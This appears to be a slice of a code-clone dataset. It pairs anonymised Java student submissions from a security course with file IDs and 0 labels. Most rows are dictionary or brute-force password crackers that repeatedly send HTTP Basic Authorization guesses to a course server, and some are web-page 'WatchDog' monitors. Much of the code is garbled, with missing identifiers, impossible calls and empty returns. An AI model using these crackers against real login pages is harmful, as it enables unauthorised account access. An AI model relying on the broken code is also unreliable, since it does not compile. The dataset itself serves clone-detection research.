str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
System.err.println( "\n" );
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used:" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
226.java | 182.java | 0 |
import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new BufferedReader(new InputStreamReader(pro.getInputStream()));
if (((str=in.readLine())!=null)&&(!str.endsWith("d0")))
{
System.out.println(str);
try
{
socket = new Socket("yallara.cs.rmit.edu.",25);
PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
String linetobesent = null;
BufferedReader getin = null;
try
{
FileReader = new FileReader("template.txt");
getin = new BufferedReader();
while (!(linetobesent=getin.readLine()).equals(""))
{
System.out.println(linetobesent);
output.println(linetobesent);
}
output.println("Orignail Line .s C New Line .s " + str);
while ((linetobesent=in.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
while ((linetobesent=getin.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
cmd = new String("cp new.txt original.txt");
System.out.println(cmd);
pro = run.exec(cmd);
}
catch (IOException ex)
{
System.out.println(ex);
}
catch (Exception ex)
{
System.out.println(ex);
System.exit(ERROR);
}
finally
{
try
{
if (getin!= null)
getin.read();
}
catch (IOException e) {}
}
}
catch (UnknownHostException e)
{
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e)
{
System.out.println(e);
System.exit(ERROR);
}
}
else
System.out.println("string is empty");
}
catch (IOException exc)
{
}
}
}
Watch listener = new Watch();
Timer t = new Timer(null,listener);
t.close();
JOptionPane.showMessageDialog(null,"Exit WatchDog program?");
System.exit(0);
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
085.java | 182.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class Dictionary extends Thread {
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
Dictionary parent;
static LineNumberReader lnr;
public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
String word = "";
starttime = System.currentTimeMillis();
try
{
boolean passwordOkay;
while(word != null && !parent.solved)
{
passwordOkay = false;
while(!passwordOkay || word == null)
{
word = lnr.readLine();
passwordOkay = true;
if(word.length() != 3) passwordOkay = false;
}
response = tryLogin(word);
x++;
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")");
}
}
catch(Exception e)
{
System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
Dictionary parent;
try
{
lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words"));
}
catch(Exception e)
{
System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
Dictionary[] attackslaves = new Dictionary[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: Dictionary <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new Dictionary(host, path, user, 0, 0, null, lnr);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = UNKNOWN;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
215.java | 182.java | 0 |
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
131.java | 182.java | 0 |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;
public static void main(String args[])
{
BruteForce bf = new BruteForce();
}
public BruteForce()
{
generatePassword();
}
public void generatePassword()
{
int index1 = 0, index2, index3;
char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
while(index1 < NUM_CHARS)
{
index2 = 0;
while(index2 < NUM_CHARS)
{
index3 = 0;
while(index3 < NUM_CHARS)
{
crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
index3++;
}
index2++;
}
index1++;
}
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader(isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
017.java | 182.java | 0 |
import javax.swing.*;
public class Dictionary
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
077.java | 182.java | 0 |
import java.io.*;
import java.net.*;
public class Dictionary
{
public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
133.java | 182.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary
{
private String myUsername = "";
private String myPassword = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
public static void main (String args[])
{
Dictionary d = new Dictionary();
}
public Dictionary()
{
generatePassword();
}
public void generatePassword()
{
try
{
BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
{
myPassword = bf.readLine();
crackPassword(myPassword);
} while (myPassword != null);
}
catch(IOException e)
{ }
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty ("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader (isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
174.java | 182.java | 0 |
import java.util.*;
import java.io.*;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
218.java | 182.java | 0 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
250.java | 182.java | 0 |
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
